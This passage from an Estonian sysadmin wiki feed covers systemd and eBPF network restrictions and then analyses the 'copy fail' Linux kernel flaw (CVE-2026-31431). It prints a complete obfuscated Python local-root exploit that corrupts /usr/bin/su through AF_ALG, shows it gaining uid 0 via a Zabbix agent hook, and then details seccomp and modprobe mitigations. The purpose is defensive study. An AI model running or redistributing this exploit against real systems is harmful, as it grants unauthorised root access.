key: 20 00 00 00 08 08 08 08  value: 01 00 00 00 00 00 00 00&lt;br /&gt;
key: 20 00 00 00 7f 00 00 01  value: 01 00 00 00 00 00 00 00&lt;br /&gt;
key: 18 00 00 00 c0 a8 0a 00  value: 01 00 00 00 00 00 00 00&lt;br /&gt;
Found 3 elements&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sellise skriptiga saab teisendada loetavamaks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# cat bpftool-map-dump.sh&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
bpftool map dump id 51 | grep '^key' | while read -r line; do&lt;br /&gt;
    bytes=($(echo $line | cut -d: -f2))&lt;br /&gt;
    printf &amp;quot;Prefix: %d | IP: %d.%d.%d.%d\n&amp;quot; &amp;quot;$((16#${bytes[0]}))&amp;quot; &amp;quot;$((16#${bytes[4]}))&amp;quot; &amp;quot;$((16#${bytes[5]}))&amp;quot; &amp;quot;$((16#${bytes[6]}))&amp;quot; &amp;quot;$((16#${bytes[7]}))&amp;quot;&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# ./bpftool-map-dump.sh&lt;br /&gt;
Prefix: 32 | IP: 8.8.8.8&lt;br /&gt;
Prefix: 32 | IP: 127.0.0.1&lt;br /&gt;
Prefix: 24 | IP: 192.168.10.0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena ei saa konkteinerist välja võrku mujale pöörduda.&lt;br /&gt;
&lt;br /&gt;
====Slice====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl edit user.slice&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# cat /etc/systemd/system/user.slice.d/override.conf&lt;br /&gt;
[Slice]&lt;br /&gt;
# This is a slice, but we can still pass BPF instructions&lt;br /&gt;
IPAddressDeny=any&lt;br /&gt;
IPAddressAllow=192.168.10.0/24&lt;br /&gt;
IPAddressAllow=127.0.0.0/8&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kehtestada muudatus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl daemon-reload&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
logida välja ja sisse ssh pealt näiteks ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# ping 8.8.8.8&lt;br /&gt;
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.&lt;br /&gt;
^C&lt;br /&gt;
--- 8.8.8.8 ping statistics ---&lt;br /&gt;
2 packets transmitted, 0 received, 100% packet loss, time 1005ms&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
bpftop esitab ülevaatlikult&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260420-systemd-bpf-01.png|800px]]&lt;br /&gt;
&lt;br /&gt;
===20260501 - copy fail eksploit===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* küllap kõik see lugu on ajutise iseloomuga praktiliselt, st varsti saabub uus parandatud linux kernel&lt;br /&gt;
* pedagoogilises mõttes on see huvitav lugu&lt;br /&gt;
* vahetulemusi on huvitav pasteda chatgpt'le ja küsida selgitusi&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte - af_alg====&lt;br /&gt;
&lt;br /&gt;
af_alg on omaette 'address family' nagu af_unix (nn unix soket), af_inet (tavaline internet), af_netlink, af_xdp jt. Tema kaudu saab eksootilisem tarkvara kasutada riistvara lähedast krüptimist, nt (kcapi - kernel crypto api)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:/home/imre/20260430# apt-get install kcapi-tools&lt;br /&gt;
&lt;br /&gt;
imre@pwrk-02:/home/imre/20260430$ date &amp;gt; cleartext.txt&lt;br /&gt;
&lt;br /&gt;
imre@pwrk-02:/home/imre/20260430$ kcapi-enc -e -c &amp;quot;cbc(aes)&amp;quot; --passwd &amp;quot;MyPassword123&amp;quot; --iv $(openssl rand -hex 12) &amp;lt; cleartext.txt &amp;gt; encrypted.bin&lt;br /&gt;
kcapi-enc - Warning: Password on command line is visible in process listing and /proc! Use --passwd_fd command line option!&lt;br /&gt;
kcapi-enc - Warning: PBKDF2 iterations used: 131072&lt;br /&gt;
kcapi-enc - Warning: PBKDF2 salt used: 245b53106bb1d0cf09700fd63161dd0b59601995e368d6410d6e59adbd7e8468&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* valitud krüpto 'cbc(aes)' asemel saab olla ka muud, nad kõik toimetavad af_alg soketi kaudu, aga edasi kasutavad erinevaid oskusi, nendega on seotud erinevad täiendavad kerneli moodulid - eksploitimisega on seotud konkreetselt üks - algif_aead&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imre@pwrk-02:~$ lsmod | grep alg&lt;br /&gt;
algif_hash             12288  0&lt;br /&gt;
algif_rng              12288  0&lt;br /&gt;
algif_skcipher         12288  0&lt;br /&gt;
algif_aead             12288  0&lt;br /&gt;
af_alg                 32768  4 algif_hash,algif_skcipher,algif_aead,algif_rng&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nn af_alg funktsionaalsuse kasutamine toimub user-space pealt ja teenindamine toimub kernel-space peal, ja nagu tavaliselt seda nö horisonti ületatakse syscall tehnika abil. syscall'il on tohtu vastutus oma sisendi kontrollimise ja oma tegevuste osas - privilegeerimata actor palub midagi korda saata väga privilegeeritud actoril; mingis mõttes on ta nagu setuid bit või sudo-abil-root-minemine.&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte - eksploit====&lt;br /&gt;
&lt;br /&gt;
copy fail eksploit kasutab ära af_alg osakonnas kerneli ümbruses toimuvaid võimalusi, privilegeerimata kaustajal on võimalik kirjutada page cache sisu mingis ulatuses üle. Nt selliselt&lt;br /&gt;
&lt;br /&gt;
* esmalt korraldatakse page cache peale mõni setuid bit sisselülitusega fail, nt 'su' - nt lugedes faili tavalisel viisil satub tema sisu page cache'i&lt;br /&gt;
* siis muudetakse sisu sobivalt page cache osakonnas (st arvuti mälus) - see on võimalik tänu eksploidi toimimisele - üldiselt on linux kerneli lubadus selline, et kui protsess (privilegeerimata protsess antud juhul) ei saa failisüsteemis faili muuta, siis ei saa ta tegeleda ka cache'itud vastava faili sisuga)&lt;br /&gt;
* käivitatakse muudetud failile vastav programm, kuna fail on juba page cache peal, siis failisüsteemist seda uuesti ei loeta - setuid bit kätega minnakse root shelli&lt;br /&gt;
* teoreetiliselt võiks olla võimalik kas vastupidine, st mõnele pahale programmile vastavale failile pannakse külge setuid bit, aga antud juhul ei ole see kõneks - seda oleks ehk raskem teha st sobiv koht cache pealt üles otsida, ja see setuid bit on faili metaandmete koosseisu st asub inode cache peal mitte page cache, ja kõneksolev eksploit sinna ei saa sodima minna&lt;br /&gt;
* page cache on üldiselt seotud vfs (virtual filesystem) nähtusega, st sellega mis on nö ext4 jt failisüsteemide kohal ja protsesside all&lt;br /&gt;
&lt;br /&gt;
Asjaosalised kihid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
arvutis töötavad protsessid (arvuti mälu)&lt;br /&gt;
  &lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
vfs (virtual file system) (arvuti mälu)&lt;br /&gt;
&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
page cache (arvuti mälu)&lt;br /&gt;
&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
ext4 filesystem (plokkseade)&lt;br /&gt;
&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
  plokkseade (füüsiline ese)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* page cache peale tehtud muudatuse saab unustada öeldes '# echo 3 &amp;gt; /proc/sys/vm/drop_caches'&lt;br /&gt;
* page cache peale tehtud muudatuse saab põlistada ext4 failisüsteemi öeldes 'sync'&lt;br /&gt;
* plokkseadme puhvrid saab madalamale kihile kirjutada põlistada blockdev käsu abil&lt;br /&gt;
&lt;br /&gt;
Üldiselt on syscallidel tohutu vastutus oma sisendit valideerida ja jälgida mida nad edasi teevad, tundub, et antud juhul af_alg teemaga tegelevad syscall'id seda vastutust ei kanna välja st lasevad ennast manipuleerida.&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte - leevendus====&lt;br /&gt;
&lt;br /&gt;
Kõige õigem oleks kernel tarkvara parandus ja küllap see varem või hiljem saabub. Seniks on võimalik rakendada ühte- ja teistsugust leevendust (mitigation)&lt;br /&gt;
&lt;br /&gt;
* uskuda, et pahatahtlik kasutaja süsteemis ei tegutse programme kohale tuues ja neid kävitades (nö tavaline veebiserver pigem ei tohiks lubada ette anda koodi mida käivitatakse; tavaline veebiserver käivitab süsteemi haldajate poolt paigaldatud koodi)&lt;br /&gt;
* lülitada kerneli tasemal välja af_alg funktsionaalsus (modprobe) - mõju globaalne&lt;br /&gt;
* lülitada syscall tulemüüri tasemel välja af_alg funktsionaalsus (nn secure computing ehk seccomp, mis omakorda põhineb bpf tehnikal, vist nn 'Seccomp-BPF', mida ei haldab bpftool (bpftool tegeleb eBPF osakonnaga nähtustega) - mõju protsessile (ja tema järglastele, või systemd service unitiga seotud protsessidele)&lt;br /&gt;
&lt;br /&gt;
Kerneli tasemel välja lülitamine eeldab praktiliselt, et af_alg funktsionaalsus on realiseeritud tuuma moodulite abil (ei ole otse nn /boot/vmlinuz kerneli sisse kompileeritud). Tavaliselt on modulaarne. Mõju on globaalne.&lt;br /&gt;
&lt;br /&gt;
syscall tulemüüri tasemel välja lülitamine on paindlik - saab (peab st muul viisil ei saagi praktiliselt st globaalselt ei saa (kuigi teoreetiliselt saaks init=pid=1 protsessile ka seccomp abil kitsendusi rakendada, aga tavaliselt nii ei tehta) erinevate protsesside (protsesside komplektide) jaoks muudatust kehtestada. Seejuures saab määrata, mis keeldu ületada püüdva protsessiga edasi juhtub: 1. ta töötab edasi, 2. ta töötamine lõpetatakse&lt;br /&gt;
&lt;br /&gt;
====Eksploit näide====&lt;br /&gt;
&lt;br /&gt;
https://copy.fail/ - tõenäoliselt on see nö puhas eksploit, st midagi suurelt temaga katsetamine ussitama ei aja st vaevalt ta interneti isandale sama arvuti /root/.ssh sisu saadab, aga kuna ta page cache sobib ja vaevalt, et seda exploiti on liiga palju testitud ja arendatud, siis ei ole võimatu ext4 failisüsteemi riknemine, arvutis töötavate protsesside segadusse sattumine kuni os krahhini; st proovida ehk maksab, aga arvutis, mis pärast kustutatakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ cat /home/tmp/cf.py&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import os as g,zlib,socket as s&lt;br /&gt;
def d(x):return bytes.fromhex(x)&lt;br /&gt;
def c(f,t,c):&lt;br /&gt;
 a=s.socket(38,5,0);a.bind((&amp;quot;aead&amp;quot;,&amp;quot;authencesn(hmac(sha256),cbc(aes))&amp;quot;));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b&amp;quot;A&amp;quot;*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)&lt;br /&gt;
 try:u.recv(8+t)&lt;br /&gt;
 except:0&lt;br /&gt;
f=g.open(&amp;quot;/usr/bin/su&amp;quot;,0);i=0;e=zlib.decompress(d(&amp;quot;78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3&amp;quot;))&lt;br /&gt;
while i&amp;lt;len(e):c(f,i,e[i:i+4]);i+=4&lt;br /&gt;
g.system(&amp;quot;su&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
$ chmod 0755 /home/tmp/cf.py&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
zabbix agent kaudu&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# cat /etc/zabbix/zabbix_agent2.d/misc.conf&lt;br /&gt;
UserParameter=cf,echo id | /home/tmp/cf.py 1&amp;gt;&amp;gt;/home/tmp/cf.log 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
käivitamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# zabbix_get -k cf -s 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
logi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# tail -f /home/tmp/cf.log&lt;br /&gt;
..&lt;br /&gt;
uid=0(root) gid=109(zabbix) groups=109(zabbix)&lt;br /&gt;
uid=0(root) gid=109(zabbix) groups=109(zabbix)&lt;br /&gt;
uid=0(root) gid=109(zabbix) groups=109(zabbix)&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
page cache puhastamine (&amp;quot;3&amp;quot; kasutamine nö puhastab kõik, inode cache, page cache jne, põhimõtteliselt sobiks ka &amp;quot;1&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# echo 3 &amp;gt; /proc/sys/vm/drop_caches&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
katsetamisel võib olla vajalik vahel jällegi moodulid välja lülitada, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# rmmod algif_rng algif_aead algif_skcipher algif_hash af_alg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Leevendus - systemd service====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* mõju on service põhine&lt;br /&gt;
* praktiliselt võiks rakendada avalikku võrku publitseeritud teenuste (protsesside) jaoks mille kaudu võiks olla selline python skript laadse sisu käivitamine (mingit tüüpi exec syscall rakendamine) realistlik&lt;br /&gt;
* öeldakse, et kasutame systemd võimalusi, tehniliselt kasutatakse linux kerneli secure compute võimalusi (seccomp)&lt;br /&gt;
* kehtestamiseks tuleb systemd service stop ja start öelda&lt;br /&gt;
&lt;br /&gt;
systemd service unit muudatus, enne (zabbix-agent protsessi pid on 174841)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# systemctl show zabbix-agent2 -p RestrictAddressFamilies&lt;br /&gt;
RestrictAddressFamilies=~&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:/home/imre/20260430# cat /proc/174841/status | grep -i secco&lt;br /&gt;
Seccomp:	0&lt;br /&gt;
Seccomp_filters:	0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
muudatus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# root@pwrk-02:~# systemctl edit zabbix-agent2&lt;br /&gt;
[Service]&lt;br /&gt;
RestrictAddressFamilies=~AF_ALG&lt;br /&gt;
# SystemCallErrorNumber=kill&lt;br /&gt;
# SystemCallErrorNumber=EPERM&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* RestrictAddressFamilies=~AF_ALG konstruktsioon väljendab eitust st kõik protokollid on lubatud v.a. AF_ALG&lt;br /&gt;
* SystemCallErrorNumber kontrollib, mis rikkumist proovinud protsessiga edasi saab&lt;br /&gt;
&lt;br /&gt;
peale muudatust&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# systemctl show zabbix-agent2 -p RestrictAddressFamilies&lt;br /&gt;
RestrictAddressFamilies=~AF_ALG&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:/home/imre/20260430# cat /proc/174842/status | grep -i secco&lt;br /&gt;
Seccomp:	2&lt;br /&gt;
Seccomp_filters:	2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Eksploit kasutamine annab nüüd sellise tulemuse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# tail -f /home/tmp/cf.log&lt;br /&gt;
...&lt;br /&gt;
Traceback (most recent call last):&lt;br /&gt;
  File &amp;quot;/home/tmp/cf.py&amp;quot;, line 9, in &amp;lt;module&amp;gt;&lt;br /&gt;
    while i&amp;lt;len(e):c(f,i,e[i:i+4]);i+=4&lt;br /&gt;
                   ^^^^^^^^^^^^^^^&lt;br /&gt;
  File &amp;quot;/home/tmp/cf.py&amp;quot;, line 5, in c&lt;br /&gt;
    a=s.socket(38,5,0);a.bind((&amp;quot;aead&amp;quot;,&amp;quot;authencesn(hmac(sha256),cbc(aes))&amp;quot;));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b&amp;quot;A&amp;quot;*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)&lt;br /&gt;
      ^^^^^^^^^^^^^^^^&lt;br /&gt;
  File &amp;quot;/usr/lib/python3.12/socket.py&amp;quot;, line 233, in __init__&lt;br /&gt;
    _socket.socket.__init__(self, family, type, proto, fileno)&lt;br /&gt;
OSError: [Errno 97] Address family not supported by protocol&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Leevendus - apparmor profile====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Leevendus - modprobe====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* mõju on globaalne süsteemile - võib olla on see liiga suure mõjuga st arvuti juures midagi siiski vajab af_alg&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/modprobe.d/mitigate-copy-fail.conf&lt;br /&gt;
install algif_aead /bin/true&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* 'install algif_aead' element ütleb, et kui toimub algif_aead mooduli laadimise attampt, siis hoopis täita järgnev käsk - '/bin/true' (mingi teooria kohaselt on /bin/true kasutamine sobivam kui /bin/false kuna vea saamisel võiks süsteem proovida veelkorra moodulit laadida jne)&lt;br /&gt;
* selle käsu andmisel tehniliselt ollakse õnnelik iseensest kuigi sisuliselt midagi ei muutu&lt;br /&gt;
* muudatus kehtestub koheselt&lt;br /&gt;
&lt;br /&gt;
ning parem oleks ehk ka initramfs uuesti tekitada&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# lsinitramfs /boot/initrd.img | grep alg&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/af_alg.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_aead.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_hash.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_rng.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_skcipher.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/drivers/i2c/algos&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/drivers/i2c/algos/i2c-algo-bit.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/net/xfrm/xfrm_algo.ko.zst&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# update-initramfs -u&lt;br /&gt;
update-initramfs: Generating /boot/initrd.img-6.8.0-110-generic&lt;br /&gt;
I: The initramfs will attempt to resume from /dev/dm-2&lt;br /&gt;
I: (/dev/mapper/system-swap)&lt;br /&gt;
I: Set the RESUME variable to override this.&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:~# lsinitramfs /boot/initrd.img | grep 'etc/modprobe.d'&lt;br /&gt;
etc/modprobe.d&lt;br /&gt;
etc/modprobe.d/amd64-microcode-blacklist.conf&lt;br /&gt;
etc/modprobe.d/blacklist-ath_pci.conf&lt;br /&gt;
etc/modprobe.d/blacklist-firewire.conf&lt;br /&gt;
etc/modprobe.d/blacklist-framebuffer.conf&lt;br /&gt;
etc/modprobe.d/blacklist-rare-network.conf&lt;br /&gt;
etc/modprobe.d/blacklist.conf&lt;br /&gt;
etc/modprobe.d/dkms.conf&lt;br /&gt;
etc/modprobe.d/intel-microcode-blacklist.conf&lt;br /&gt;
etc/modprobe.d/iwlwifi.conf&lt;br /&gt;
etc/modprobe.d/mdadm.conf&lt;br /&gt;
etc/modprobe.d/mitigate-copy-fail.conf&lt;br /&gt;
root@pwrk-02:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc - docker rootful====&lt;br /&gt;
&lt;br /&gt;
docker rootful puhul tuleb muuta kahte service'it - kuna child protsessid pärivad vanematelt seccomp jms omadused, siis mõju on tõhus&lt;br /&gt;
&lt;br /&gt;
* docker&lt;br /&gt;
* containerd&lt;br /&gt;
&lt;br /&gt;
====Debian====&lt;br /&gt;
&lt;br /&gt;
20260501 ilmus Debian operatsioonisüsteemile parandatud tuum&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260502-debian-copy-fail-01.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* https://www.debian.org/security/&lt;br /&gt;
* https://security-tracker.debian.org/tracker/source-package/linux&lt;br /&gt;
* muudatusi saab otsida globaalse CVE nime abil (nt CVE-2026-31431)&lt;br /&gt;
&lt;br /&gt;
====Ubuntu====&lt;br /&gt;
&lt;br /&gt;
20260501 ilmus Ubuntu operatsioonisüsteemile parandatud kmod pakett&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260502-ubuntu-copy-fail-01.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* kmod paketis sisaldub fail etc/modprobe.d/disable-algif_aead.conf&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~/20260502# cat etc/modprobe.d/disable-algif_aead.conf&lt;br /&gt;
# Disable algif_aead module due to CVE-2026-31431 (AKA copy.fail)&lt;br /&gt;
# This will likely be re-enabled in a subsequent update once an updated&lt;br /&gt;
# kernel has been deployed.&lt;br /&gt;
# Blacklisting the module isn't sufficient, we need to do as below:&lt;br /&gt;
install algif_aead /bin/false&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* küllap parandatud tuum ilmub seejärel&lt;br /&gt;
&lt;br /&gt;
====Proxmox====&lt;br /&gt;
&lt;br /&gt;
20260501 on ilmunud no-subscription repodesse v. 7 tuum, seda see 'copy fail' haavatavus ei puuduta&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# uname -a&lt;br /&gt;
Linux pve-svc-02 7.0.0-3-pve #1 SMP PREEMPT_DYNAMIC PMX 7.0.0-3 (2026-04-21T22:56Z) x86_64 GNU/Linux&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-configure-systemd-service-hardening-on-ubuntu/view&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-use-seccomp-to-restrict-system-calls-on-ubuntu/view&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* [[:Systemd-nspawn kasutamine operatsioonisüsteemiga Debian]]&lt;br /&gt;
* http://en.wikipedia.org/wiki/Systemd&lt;br /&gt;
* http://blog.exppad.com/article/a-docker-like-container-management-using-systemd&lt;br /&gt;
* http://0pointer.net/blog/projects/systemd-for-admins-1.html&lt;br /&gt;
* http://zero-knowledge.org/post/92&lt;br /&gt;
* http://0pointer.de/public/systemd-ebook-psankar.pdf&lt;br /&gt;
* http://ktaraghi.blogspot.com/2013/11/what-is-systemd-and-how-it-works-part-1.html&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Systemd_kasutamine&amp;diff=3407</id>
		<title>Systemd kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Systemd_kasutamine&amp;diff=3407"/>
		<updated>2026-05-02T10:03:14Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Leevendus - modprobe */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
systemd http://freedesktop.org/wiki/Software/systemd/ ...&lt;br /&gt;
&lt;br /&gt;
Tundub, et 2014 aasta lõpus on Debian v. 8 Jessie koosseisus vaikimisi systemd&lt;br /&gt;
&lt;br /&gt;
 # ls -ld /sbin/init &lt;br /&gt;
 lrwxrwxrwx 1 root root 20 Sep 28 22:33 /sbin/init -&amp;gt; /lib/systemd/systemd&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
* Turvalisus ja tegevuste isoleerimine failisüsteemi ja võrgu tasemel, http://0pointer.de/blog/projects/security.html&lt;br /&gt;
* SysV käivitusskripti on imperatiivsed, st shell skriptid praktiliselt, systemd nö käivitusskriptid on deklaratiivsed, st nn .ini failidele sarnase sisuga&lt;br /&gt;
&lt;br /&gt;
===Paigaldamine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et minimaalsele keskkonnale (nt debootstrap abil moodustatud) tuleb juurde lisada dbus ja polkit tugi, vastasel korral nt systemd-cgls programm ei tööta)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install dbus libpolkit-agent-1-0&lt;br /&gt;
&lt;br /&gt;
===Kasutamine===&lt;br /&gt;
&lt;br /&gt;
Teenuse oleku küsimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl status ssh.service&lt;br /&gt;
 ● ssh.service - OpenBSD Secure Shell server&lt;br /&gt;
    Loaded: loaded (/lib/systemd/system/ssh.service; enabled)&lt;br /&gt;
    Active: active (running) since Tue 2014-11-04 02:43:10 EET; 18h ago&lt;br /&gt;
  Main PID: 1956 (sshd)&lt;br /&gt;
    CGroup: /system.slice/ssh.service&lt;br /&gt;
            └─1956 /usr/sbin/sshd -D&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
 # cat /lib/systemd/system/ssh.service &lt;br /&gt;
 [Unit]&lt;br /&gt;
 Description=OpenBSD Secure Shell server&lt;br /&gt;
 After=network.target auditd.service&lt;br /&gt;
 ConditionPathExists=!/etc/ssh/sshd_not_to_be_run&lt;br /&gt;
 &lt;br /&gt;
 [Service]&lt;br /&gt;
 EnvironmentFile=-/etc/default/ssh&lt;br /&gt;
 ExecStart=/usr/sbin/sshd -D $SSHD_OPTS&lt;br /&gt;
 ExecReload=/bin/kill -HUP $MAINPID&lt;br /&gt;
 KillMode=process&lt;br /&gt;
 Restart=on-failure&lt;br /&gt;
 &lt;br /&gt;
 [Install]&lt;br /&gt;
 WantedBy=multi-user.target&lt;br /&gt;
 Alias=sshd.service&lt;br /&gt;
&lt;br /&gt;
Teenuste nimekirja esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl  list-units --type=service | head -n 5&lt;br /&gt;
   UNIT                                 LOAD   ACTIVE SUB     DESCRIPTION&lt;br /&gt;
   accounts-daemon.service              loaded active running Accounts Service&lt;br /&gt;
   acpid.service                        loaded active exited  LSB: Start the Advanced Configuration and Power Interface daemon&lt;br /&gt;
